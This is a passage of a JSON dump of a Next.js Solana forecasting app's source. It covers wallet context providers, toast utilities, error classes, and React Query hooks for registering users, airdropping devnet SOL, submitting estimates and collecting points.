undefined\n            ? {\n                ...t,\n                open: false,\n              }\n            : t\n        ),\n      }\n    }\n    case \"REMOVE_TOAST\":\n      if (action.toastId === undefined) {\n        return {\n          ...state,\n          toasts: [],\n        }\n      }\n      return {\n        ...state,\n        toasts: state.toasts.filter((t) => t.id !== action.toastId),\n      }\n  }\n}\n\nconst listeners: Array<(state: State) => void> = []\n\nlet memoryState: State = { toasts: [] }\n\nfunction dispatch(action: Action) {\n  memoryState = reducer(memoryState, action)\n  listeners.forEach((listener) => {\n    listener(memoryState)\n  })\n}\n\ntype Toast = Omit<ToasterToast, \"id\">\n\nfunction toast({ ...props }: Toast) {\n  const id = genId()\n\n  const update = (props: ToasterToast) =>\n    dispatch({\n      type: \"UPDATE_TOAST\",\n      toast: { ...props, id },\n    })\n  const dismiss = () => dispatch({ type: \"DISMISS_TOAST\", toastId: id })\n\n  dispatch({\n    type: \"ADD_TOAST\",\n    toast: {\n      ...props,\n      id,\n      open: true,\n      onOpenChange: (open) => {\n        if (!open) dismiss()\n      },\n    },\n  })\n\n  return {\n    id: id,\n    dismiss,\n    update,\n  }\n}\n\nfunction useToast() {\n  const [state, setState] = React.useState<State>(memoryState)\n\n  React.useEffect(() => {\n    listeners.push(setState)\n    return () => {\n      const index = listeners.indexOf(setState)\n      if (index > -1) {\n        listeners.splice(index, 1)\n      }\n    }\n  }, [state])\n\n  return {\n    ...state,\n    toast,\n    dismiss: (toastId?: string) => dispatch({ type: \"DISMISS_TOAST\", toastId }),\n  }\n}\n\nexport { useToast, toast }\n"
  },
  {
    "path": "components.json",
    "content": "{\n  \"$schema\": \"https://ui.shadcn.com/schema.json\",\n  \"style\": \"new-york\",\n  \"rsc\": true,\n  \"tsx\": true,\n  \"tailwind\": {\n    \"config\": \"tailwind.config.ts\",\n    \"css\": \"app/globals.css\",\n    \"baseColor\": \"slate\",\n    \"cssVariables\": true,\n    \"prefix\": \"\"\n  },\n  \"aliases\": {\n    \"components\": \"@/components\",\n    \"utils\": \"@/lib/utils\"\n  }\n}"
  },
  {
    "path": "contexts/AutoConnectProvider.tsx",
    "content": "\"use client\";\nimport { useLocalStorage } from \"@solana/wallet-adapter-react\";\nimport { createContext, FC, ReactNode, useContext } from \"react\";\n\nexport interface AutoConnectContextState {\n  autoConnect: boolean;\n  setAutoConnect(autoConnect: boolean): void;\n}\n\nexport const AutoConnectContext = createContext<AutoConnectContextState>(\n  {} as AutoConnectContextState\n);\n\nexport function useAutoConnect(): AutoConnectContextState {\n  return useContext(AutoConnectContext);\n}\n\nexport const AutoConnectProvider: FC<{ children: ReactNode }> = ({\n  children,\n}) => {\n  // TODO: fix auto connect to actual reconnect on refresh/other.\n  // TODO: make switch/slider settings\n  // const [autoConnect, setAutoConnect] = useLocalStorage('autoConnect', false);\n  const [autoConnect, setAutoConnect] = useLocalStorage(\"autoConnect\", true);\n\n  return (\n    <AutoConnectContext.Provider value={{ autoConnect, setAutoConnect }}>\n      {children}\n    </AutoConnectContext.Provider>\n  );\n};\n"
  },
  {
    "path": "contexts/ContextProvider.tsx",
    "content": "\"use client\";\nimport { WalletAdapterNetwork } from \"@solana/wallet-adapter-base\";\nimport {\n  ConnectionProvider,\n  WalletProvider,\n} from \"@solana/wallet-adapter-react\";\nimport {\n  PhantomWalletAdapter,\n  SolflareWalletAdapter,\n} from \"@solana/wallet-adapter-wallets\";\nimport { clusterApiUrl } from \"@solana/web3.js\";\nimport { ComponentType, FC, ReactNode, useMemo } from \"react\";\nimport { AutoConnectProvider, useAutoConnect } from \"./AutoConnectProvider\";\nimport {\n  NetworkConfigurationProvider,\n  useNetworkConfiguration,\n} from \"./NetworkConfigurationProvider\";\nimport dynamic from \"next/dynamic\";\nimport { Toaster } from \"@/components/ui/toaster\";\n\nconst ReactUIWalletModalProviderDynamic: ComponentType<{\n  children: ReactNode;\n}> = dynamic(\n  async () =>\n    (await import(\"@solana/wallet-adapter-react-ui\")).WalletModalProvider,\n  { ssr: false }\n);\n\nconst WalletContextProvider: FC<{ children: ReactNode }> = ({ children }) => {\n  const { autoConnect } = useAutoConnect();\n  const { networkConfiguration } = useNetworkConfiguration();\n  const network = networkConfiguration as WalletAdapterNetwork;\n  const endpoint = useMemo(() => clusterApiUrl(network), [network]);\n\n  const wallets = useMemo(\n    () => [new SolflareWalletAdapter(), new PhantomWalletAdapter()],\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n    [network]\n  );\n\n  return (\n    <ConnectionProvider endpoint={endpoint}>\n      <WalletProvider wallets={wallets} autoConnect={autoConnect}>\n        <ReactUIWalletModalProviderDynamic>\n          {children}\n        </ReactUIWalletModalProviderDynamic>\n      </WalletProvider>\n      <Toaster />\n    </ConnectionProvider>\n  );\n};\n\nexport const ContextProvider: FC<{ children: ReactNode }> = ({ children }) => {\n  return (\n    <>\n      <NetworkConfigurationProvider>\n        <AutoConnectProvider>\n          <WalletContextProvider>{children}</WalletContextProvider>\n        </AutoConnectProvider>\n      </NetworkConfigurationProvider>\n    </>\n  );\n};\n"
  },
  {
    "path": "contexts/NetworkConfigurationProvider.tsx",
    "content": "\"use client\";\nimport { useLocalStorage } from \"@solana/wallet-adapter-react\";\nimport { createContext, FC, ReactNode, useContext } from \"react\";\n\nexport interface NetworkConfigurationState {\n  networkConfiguration: string;\n  setNetworkConfiguration(networkConfiguration: string): void;\n}\n\nexport const NetworkConfigurationContext =\n  createContext<NetworkConfigurationState>({} as NetworkConfigurationState);\n\nexport function useNetworkConfiguration(): NetworkConfigurationState {\n  return useContext(NetworkConfigurationContext);\n}\n\nexport const NetworkConfigurationProvider: FC<{ children: ReactNode }> = ({\n  children,\n}) => {\n  const [networkConfiguration, setNetworkConfiguration] = useLocalStorage(\n    \"network\",\n    \"devnet\"\n  );\n\n  return (\n    <NetworkConfigurationContext.Provider\n      value={{ networkConfiguration, setNetworkConfiguration }}\n    >\n      {children}\n    </NetworkConfigurationContext.Provider>\n  );\n};\n"
  },
  {
    "path": "errors/NoUserAccountError.ts",
    "content": "export class NoUserAccountError extends Error {\n  constructor(message: string) {\n    super(message);\n\n    this.name = \"No User Account!\";\n  }\n}\n"
  },
  {
    "path": "errors/WalletNotConnectedError.ts",
    "content": "export class WalletNotConnectedError extends Error {\n  constructor(message: string) {\n    super(message);\n\n    this.name = \"Wallet not connected!\";\n  }\n}\n"
  },
  {
    "path": "hooks/mutations/useAirdropSol.tsx",
    "content": "import { WalletContextState } from \"@solana/wallet-adapter-react\";\nimport { Connection, LAMPORTS_PER_SOL } from \"@solana/web3.js\";\nimport { useMutation, useQueryClient } from \"@tanstack/react-query\";\nimport { userSolBalanceKey } from \"../queries/useUserSolBalance\";\nimport { useToast } from \"@/components/ui/use-toast\";\nimport {\n  connectWalletText,\n  transactionSuccessfullText,\n} from \"@/texts/toastTitles\";\nimport { WalletNotConnectedError } from \"@/errors/WalletNotConnectedError\";\n\nconst airdropSol = async (\n  connection: Connection,\n  wallet: WalletContextState\n) => {\n  if (!wallet.publicKey) {\n    throw new WalletNotConnectedError(connectWalletText);\n  }\n\n  const [latestBlockhash, signature] = await Promise.all([\n    connection.getLatestBlockhash(),\n    connection.requestAirdrop(wallet.publicKey, 1 * LAMPORTS_PER_SOL),\n  ]);\n  await connection.confirmTransaction(\n    { signature, ...latestBlockhash },\n    \"confirmed\"\n  );\n};\n\nconst useAirdropSol = (connection: Connection, wallet: WalletContextState) => {\n  const queryClient = useQueryClient();\n  const { toast } = useToast();\n\n  return useMutation({\n    mutationFn: () => airdropSol(connection, wallet),\n    onSuccess: () => {\n      toast({\n        variant: \"default\",\n        title: transactionSuccessfullText,\n        description: \"Airdrop was confirmed\",\n      });\n      queryClient.invalidateQueries({\n        queryKey: [userSolBalanceKey],\n      });\n    },\n    onError: (e) => {\n      toast({\n        variant: \"destructive\",\n        title: e.name,\n        description: e.message,\n      });\n    },\n  });\n};\n\nexport { useAirdropSol };\n"
  },
  {
    "path": "hooks/mutations/useCollectPoints.ts",
    "content": "import { Poe } from \"@/idl/poe\";\nimport { BN, Program } from \"@coral-xyz/anchor\";\nimport { WalletContextState } from \"@solana/wallet-adapter-react\";\nimport { Connection, PublicKey } from \"@solana/web3.js\";\nimport { useMutation, useQueryClient } from \"@tanstack/react-query\";\nimport { userAccountKey } from \"../queries/useUserAccount\";\nimport { userSolBalanceKey } from \"../queries/useUserSolBalance\";\nimport { pollByIdKey } from \"../queries/usePollById\";\nimport { userScoreKey } from \"../queries/useUserScore\";\nimport { WalletNotConnectedError } from \"@/errors/WalletNotConnectedError\";\nimport { useToast } from \"@/components/ui/use-toast\";\nimport {\n  connectWalletText,\n  transactionSuccessfullText,\n} from \"@/texts/toastTitles\";\nimport { sendVersionedTransaction } from \"../../utils/sendVersionedTransaction\";\nimport { getAssociatedTokenAddress } from \"@solana/spl-token\";\nimport { allPollsByUserKey } from \"../queries/useAllPollsByUser\";\nimport { allUserAccounts } from \"../queries/useAllUserAccounts\";\nimport { userBonkBalanceKey } from \"../queries/useUserBonkBalance\";\n\nconst collectPoints = async (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState,\n  pollId: number\n) => {\n  if (!wallet.publicKey) {\n    throw new WalletNotConnectedError(connectWalletText);\n  }\n\n  let [userPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"user\"), wallet.publicKey.toBuffer()],\n    program.programId\n  );\n\n  const [pollPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poll\"), new BN(pollId).toArrayLike(Buffer, \"le\", 8)],\n    program.programId\n  );\n\n  let [userPredictionPda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_estimate\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n    ],\n    program.programId\n  );\n\n  let [scoreListPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"scoring_list\"), pollPda.toBuffer()],\n    program.programId\n  );\n\n  let [userScorePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_score\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n    ],\n    program.programId\n  );\n\n  let [mintPda, mintBump] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poeken_mint\")],\n    program.programId\n  );\n\n  let [escrowPda, _escrowBump] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"escrow\")],\n    program.programId\n  );\n\n  const tokenAccountAddress = await getAssociatedTokenAddress(\n    mintPda,\n    wallet.publicKey\n  );\n\n  const registerUserInstruction = await program.methods\n    .collectPoints()\n    .accountsPartial({\n      user: userPda,\n      forecaster: wallet.publicKey,\n      poll: pollPda,\n      userEstimate: userPredictionPda,\n      scoringList: scoreListPda,\n      userScore: userScorePda,\n      mint: mintPda,\n      escrowAccount: escrowPda,\n      forecasterTokenAccount: tokenAccountAddress,\n    })\n    .instruction();\n\n  await sendVersionedTransaction([registerUserInstruction], wallet, connection);\n};\n\nconst useCollectPoints = (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState\n) => {\n  const queryClient = useQueryClient();\n  const { toast } = useToast();\n\n  return useMutation({\n    mutationFn: ({ pollId }: { pollId: number }) =>\n      collectPoints(program, connection, wallet, pollId),\n    onSuccess: (_, variables) => {\n      toast({\n        variant: \"default\",\n        title: transactionSuccessfullText,\n        description: \"Points collected.\",\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userAccountKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [allPollsByUserKey, wallet.publicKey?.toBase58()],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [pollByIdKey, variables.pollId],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userScoreKey,\n          variables.pollId,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [allUserAccounts],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userAccountKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userSolBalanceKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userBonkBalanceKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n    },\n    onError: (e) => {\n      toast({ variant: \"destructive\", title: e.name, description: e.message });\n    },\n  });\n};\n\nexport { useCollectPoints };\n"
  },
  {
    "path": "hooks/mutations/useMakeEstimate.tsx",
    "content": "import React from \"react\";\nimport { Poe } from \"@/idl/poe\";\nimport { BN, Program } from \"@coral-xyz/anchor\";\nimport { WalletContextState } from \"@solana/wallet-adapter-react\";\nimport { Connection, PublicKey, TransactionInstruction } from \"@solana/web3.js\";\nimport { useMutation, useQueryClient } from \"@tanstack/react-query\";\nimport { pollByIdKey } from \"../queries/usePollById\";\nimport { Avatar, AvatarFallback, AvatarImage } from \"@/components/ui/avatar\";\nimport { useToast } from \"@/components/ui/use-toast\";\nimport { NoUserAccountError } from \"@/errors/NoUserAccountError\";\nimport { ToastAction } from \"@/components/ui/toast\";\nimport { WalletNotConnectedError } from \"@/errors/WalletNotConnectedError\";\nimport {\n  connectWalletText,\n  transactionSuccessfullText,\n} from \"@/texts/toastTitles\";\nimport { useWalletModal } from \"@solana/wallet-adapter-react-ui\";\nimport { userAccountKey } from \"../queries/useUserAccount\";\nimport { sendVersionedTransaction } from \"../../utils/sendVersionedTransaction\";\nimport { getAssociatedTokenAddress } from \"@solana/spl-token\";\nimport { userSolBalanceKey } from \"../queries/useUserSolBalance\";\nimport { userScoreKey } from \"../queries/useUserScore\";\nimport { userEstimateKey } from \"../queries/useUserEstimateByPoll\";\nimport { useRegisterUser } from \"./useRegisterUser\";\n\nconst makeEstimate = async (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState,\n  pollId: number,\n  lowerEstimate: number | undefined,\n  upperEstimate: number | undefined\n) => {\n  if (!wallet.publicKey) {\n    throw new WalletNotConnectedError(connectWalletText);\n  }\n\n  let [userPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"user\"), wallet.publicKey.toBuffer()],\n    program.programId\n  );\n  const userAccount = await connection.getAccountInfo(userPda);\n\n  const [pollPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poll\"), new BN(pollId).toArrayLike(Buffer, \"le\", 8)],\n    program.programId\n  );\n  let pollAccount = await program.account.poll.fetch(pollPda);\n\n  let [userEstimatePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_estimate\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n    ],\n    program.programId\n  );\n\n  let [userEstimateUpdatePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_estimate_update\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n      new BN(0).toArrayLike(Buffer, \"le\", 8),\n    ],\n    program.programId\n  );\n\n  let [estimateUpdatePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"poll_estimate_update\"),\n      pollPda.toBuffer(),\n      pollAccount.numEstimateUpdates.toArrayLike(Buffer, \"le\", 8),\n    ],\n    program.programId\n  );\n\n  let [scoreListPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"scoring_list\"), pollPda.toBuffer()],\n    program.programId\n  );\n\n  let [userScorePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_score\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n    ],\n    program.programId\n  );\n\n  let [mintPda, _mintBump] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poeken_mint\")],\n    program.programId\n  );\n\n  const forecasterTokenAccountAddress = await getAssociatedTokenAddress(\n    mintPda,\n    wallet.publicKey\n  );\n\n  let [escrowPda, _escrowBump] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"escrow\")],\n    program.programId\n  );\n\n  const makeEstimateInstruction = await program.methods\n    .makeEstimate(\n      lowerEstimate !== undefined ? lowerEstimate : 0,\n      upperEstimate !== undefined ? upperEstimate : 0\n    )\n    .accountsPartial({\n      user: userPda,\n      poll: pollPda,\n      userEstimate: userEstimatePda,\n      // userEstimateUpdate: userEstimateUpdatePda,\n      pollEstimateUpdate: estimateUpdatePda,\n      scoringList: scoreListPda,\n      userScore: userScorePda,\n      forecasterTokenAccount: forecasterTokenAccountAddress,\n      mint: mintPda,\n      escrowAccount: escrowPda,\n    })\n    .instruction();\n\n  let instructions: TransactionInstruction[] = [];\n  if (userAccount === null) {\n    const registerUserInstruction = await program.methods\n      .registerUser()\n      .accountsPartial({\n        user: userPda,\n        mint: mintPda,\n        tokenAccount: forecasterTokenAccountAddress,\n      })\n      .instruction();\n    instructions = [registerUserInstruction, makeEstimateInstruction];\n  } else {\n    instructions = [makeEstimateInstruction];\n  }\n\n  await sendVersionedTransaction(instructions, wallet, connection);\n};\n\nconst useMakeEstimate = (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState\n) => {\n  const queryClient = useQueryClient();\n  const { toast } = useToast();\n  const { mutate: registerUser } = useRegisterUser(program, connection, wallet);\n  const { setVisible } = useWalletModal();\n\n  return useMutation({\n    mutationFn: ({\n      pollId,\n      lowerEstimate,\n      upperEstimate,\n    }: {\n      pollId: number;\n      lowerEstimate: number | undefined;\n      upperEstimate: number | undefined;\n    }) =>\n      makeEstimate(\n        program,\n        connection,\n        wallet,\n        pollId,\n        lowerEstimate,\n        upperEstimate\n      ),\n    onSuccess: (_, variables) => {\n      toast({\n        variant: \"default\",\n        title: transactionSuccessfullText,\n        description: \"Estimate is submitted.\",\n      });\n      queryClient.invalidateQueries({\n        queryKey: [pollByIdKey, variables.pollId],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userEstimateKey,\n          variables.pollId,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userScoreKey,\n          variables.pollId,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userSolBalanceKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userAccountKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n    },\n    onError: (e) => {\n      if (e instanceof NoUserAccountError) {\n        toast({\n          variant: \"destructive\",\n          title: e.name,\n          description: (\n            <div className=\"flex gap-2 items-center\">\n              <Avatar className=\"h-12 w-12\">\n                <AvatarImage src=\"/avatar.png\" alt=\"@shadcn\" />\n                <AvatarFallback>Av</AvatarFallback>\n              </Avatar>\n              <div>Please create a user account first.</div>\n            </div>\n          ),\n          action: (\n            <ToastAction\n              altText=\"Create User Account\"\n              onClick={() => registerUser()}\n            >\n              Create Account\n            </ToastAction>\n          ),\n          duration: 8000,\n        });\n      } else if (e instanceof WalletNotConnectedError) {\n        toast({\n          variant: \"destructive\",\n          title: e.name,\n          description: e.message,\n          action: (\n            <ToastAction\n              altText=\"Connect wallet\"\n              onClick={() => setVisible(true)}\n            >\n              Connect Wallet\n            </ToastAction>\n          ),\n          duration: 8000,\n        });\n      } else {\n        toast({\n          variant: \"destructive\",\n          title: e.name,\n          description: e.message,\n        });\n      }\n    },\n  });\n};\n\nexport { useMakeEstimate };\n"
  },
  {
    "path": "hooks/mutations/useRegisterUser.tsx",
    "content": "import { Poe } from \"@/idl/poe\";\nimport { Program } from \"@coral-xyz/anchor\";\nimport { WalletContextState } from \"@solana/wallet-adapter-react\";\nimport { Connection, PublicKey } from \"@solana/web3.js\";\nimport { getAssociatedTokenAddress } from \"@solana/spl-token\";\nimport { useMutation, useQueryClient } from \"@tanstack/react-query\";\nimport { userAccountKey } from \"../queries/useUserAccount\";\nimport { userSolBalanceKey } from \"../queries/useUserSolBalance\";\nimport { useToast } from \"@/components/ui/use-toast\";\nimport {\n  connectWalletText,\n  transactionSuccessfullText,\n} from \"@/texts/toastTitles\";\nimport { WalletNotConnectedError } from \"@/errors/WalletNotConnectedError\";\nimport { sendVersionedTransaction } from \"../../utils/sendVersionedTransaction\";\nimport { allUserAccounts } from \"../queries/useAllUserAccounts\";\n\nconst registerUser = async (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState\n) => {\n  if (!wallet.publicKey) {\n    throw new WalletNotConnectedError(connectWalletText);\n  }\n\n  let [userPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"user\"), wallet.publicKey.toBuffer()],\n    program.programId\n  );\n\n  let [mintPda, mintBump] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poeken_mint\")],\n    program.programId\n  );\n\n  const tokenAccountAddress = await getAssociatedTokenAddress(\n    mintPda,\n    wallet.publicKey\n  );\n\n  const registerUserInstruction = await program.methods\n    .registerUser()\n    .accountsPartial({\n      user: userPda,\n      mint: mintPda,\n      tokenAccount: tokenAccountAddress,\n    })\n    .instruction();\n\n  await sendVersionedTransaction([registerUserInstruction], wallet, connection);\n};\n\nconst useRegisterUser = (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState\n) => {\n  const queryClient = useQueryClient();\n  const { toast } = useToast();\n\n  return useMutation({\n    mutationFn: () => registerUser(program, connection, wallet),\n    onSuccess: () => {\n      toast({\n        variant: \"default\",\n        title: transactionSuccessfullText,\n        description: \"User is registered.\",\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userAccountKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [allUserAccounts],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userSolBalanceKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n    },\n    onError: (e) => {\n      toast({\n        variant: \"destructive\",\n        title: e.name,\n        description: e.message,\n      });\n    },\n  });\n};\n\nexport { useRegisterUser };\n"
  },
  {
    "path": "hooks/mutations/useUpdateEstimate.ts",
    "content": "import { Poe } from \"@/idl/poe\";\nimport { BN, Program } from \"@coral-xyz/anchor\";\nimport { WalletContextState } from \"@solana/wallet-adapter-react\";\nimport { Connection, PublicKey } from \"@solana/web3.js\";\nimport { useMutation, useQueryClient } from \"@tanstack/react-query\";\nimport { userSolBalanceKey } from \"../queries/useUserSolBalance\";\nimport { userEstimateKey } from \"../queries/useUserEstimateByPoll\";\nimport { pollByIdKey } from \"../queries/usePollById\";\nimport { userScoreKey } from \"../queries/useUserScore\";\nimport { WalletNotConnectedError } from \"@/errors/WalletNotConnectedError\";\nimport { useToast } from \"@/components/ui/use-toast\";\nimport {\n  connectWalletText,\n  transactionSuccessfullText,\n} from \"@/texts/toastTitles\";\nimport { sendVersionedTransaction } from \"../../utils/sendVersionedTransaction\";\n\nconst updateEstimate = async (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState,\n  pollId: number,\n  lowerEstimate: number | undefined,\n  upperEstimate: number | undefined\n) => {\n  if (!wallet.publicKey) {\n    throw new WalletNotConnectedError(connectWalletText);\n  }\n\n  const [pollPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"poll\"), new BN(pollId).toArrayLike(Buffer, \"le\", 8)],\n    program.programId\n  );\n\n  let pollAccount = await program.account.poll.fetch(pollPda);\n\n  let [userEstimatePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_estimate\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n    ],\n    program.programId\n  );\n\n  let userEstimateAccount = await program.account.userEstimate.fetch(\n    userEstimatePda\n  );\n\n  let [userEstimateUpdatePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_estimate_update\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n      userEstimateAccount.numEstimateUpdates.toArrayLike(Buffer, \"le\", 8),\n    ],\n    program.programId\n  );\n\n  let [estimateUpdatePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"poll_estimate_update\"),\n      pollPda.toBuffer(),\n      pollAccount.numEstimateUpdates.toArrayLike(Buffer, \"le\", 8),\n    ],\n    program.programId\n  );\n\n  let [scoreListPda] = PublicKey.findProgramAddressSync(\n    [Buffer.from(\"scoring_list\"), pollPda.toBuffer()],\n    program.programId\n  );\n\n  let [userScorePda] = PublicKey.findProgramAddressSync(\n    [\n      Buffer.from(\"user_score\"),\n      pollPda.toBuffer(),\n      wallet.publicKey.toBuffer(),\n    ],\n    program.programId\n  );\n\n  const updateEstimateInstruction = await program.methods\n    .updateEstimate(\n      lowerEstimate !== undefined ? lowerEstimate : 0,\n      upperEstimate !== undefined ? upperEstimate : 0\n    )\n    .accountsPartial({\n      poll: pollPda,\n      userEstimate: userEstimatePda,\n      userEstimateUpdate: userEstimateUpdatePda,\n      estimateUpdate: estimateUpdatePda,\n      scoringList: scoreListPda,\n      userScore: userScorePda,\n    })\n    .instruction();\n\n  await sendVersionedTransaction(\n    [updateEstimateInstruction],\n    wallet,\n    connection\n  );\n};\n\nconst useUpdateEstimate = (\n  program: Program<Poe>,\n  connection: Connection,\n  wallet: WalletContextState\n) => {\n  const queryClient = useQueryClient();\n  const { toast } = useToast();\n\n  return useMutation({\n    mutationFn: ({\n      pollId,\n      lowerEstimate,\n      upperEstimate,\n    }: {\n      pollId: number;\n      lowerEstimate: number | undefined;\n      upperEstimate: number | undefined;\n    }) =>\n      updateEstimate(\n        program,\n        connection,\n        wallet,\n        pollId,\n        lowerEstimate,\n        upperEstimate\n      ),\n    onSuccess: (_, variables) => {\n      toast({\n        variant: \"default\",\n        title: transactionSuccessfullText,\n        description: \"Estimate updated.\",\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userEstimateKey,\n          variables.pollId,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [pollByIdKey, variables.pollId],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userScoreKey,\n          variables.pollId,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n      queryClient.invalidateQueries({\n        queryKey: [\n          userSolBalanceKey,\n          connection.rpcEndpoint,\n          wallet.publicKey?.toBase58() || \"\",\n        ],\n      });\n    },\n    onError: (e) => {\n      toast({\n        variant: \"destructive\",\n        title: e.name,\n        description: e.message,\n      });\n    },\n  });\n};\n\nexport { useUpdateEstimate };\n"
  },
  {
    "path": "hooks/queries/useAllPolls.ts",
    "content": "import { keepPreviousData, useQuery } from \"@tanstack/react-query\";\nimport { Program } from \"@coral-xyz/anchor\";\nimport { Poll } from \"@/lib/types\";\nimport { Poe } from \"@/idl/poe\";\n\nconst allPollsKey = \"allPolls\";\n\nconst getAllPolls = async (program: Program<Poe>) => {\n  const polls = await program.account.poll.all();\n\n  return polls\n    .filter(\n      (poll) =>\n        poll.account.creator.toBase58() ===\n        \"3aSqvNz5XuBkudHZLZZSfio3Hd6nxEEzUWSwvggWWDR1\"\n    )\n    .sort((a, b) => a.account.id - b.account.id)\n    .map((poll) => poll.account) as unknown as Poll[];\n};\n\nconst useAllPolls = (program: Program<Poe>) => {\n  return useQuery({\n    queryKey: [allPollsKey],\n    queryFn: async () => await getAllPolls(program),\n    enabled: !!program,\n    placeholderData: keepPreviousData,\n  });\n};\n\nexport { useAllPolls, allPollsKey };\n"
  },
  {
    "path": "hooks/queries/useAllPollsByUser.ts",
    "content": "import { keepPreviousData, useQuery } from \"@tanstack/react-query\";\nimport { Program } from \"@coral-xyz/anchor\";\nimport { Poe } from \"@/idl/poe\";\nimport { PublicKey } from \"@solana/web3.js\";\nimport { useAllUserPredictions } from \"./useAllUserPredictions\";\nimport { Poll } from \"@/lib/types\";\n\nconst allPollsByUserKey = \"allPollsByUser\";\n\nconst getAllPollsByUser = async (\n  program: Program<Poe>,\n  addresses: PublicKey[] | undefined\n) => {\n  if (addresses !== undefined) {\n    return (await program.account.poll.fetchMultiple(\n      addresses\n    )) as unknown as Poll[];\n  } else {\n    return [] as Poll[];\n  }\n};\n\nconst useAllPollsByUser = (\n  program: Program<Poe>,\n  publicKey: PublicKey | null\n) => {\n  const { data: userPredictions } = useAllUserPredictions(program, publicKey);\n  const userPollAddresses = userPredictions?.map(\n    (userPrediction) => userPrediction.account.poll\n  );\n  return useQuery({\n    queryKey: [\n      allPollsByUserKey,\n      publicKey?.toBase58(),\n      userPollAddresses?.length,\n    ],\n    queryFn: async () => await getAllPollsByUser(program, userPollAddresses),\n    enabled: !!program && !!userPredictions,\n    placeholderData: keepPreviousData,\n  });\n};\n\nexport { useAllPollsByUser, getAllPollsByUser, allPollsByUserKey };\n"
  },
  {
    "path": "hooks/queries/useAllUserAccounts.ts",
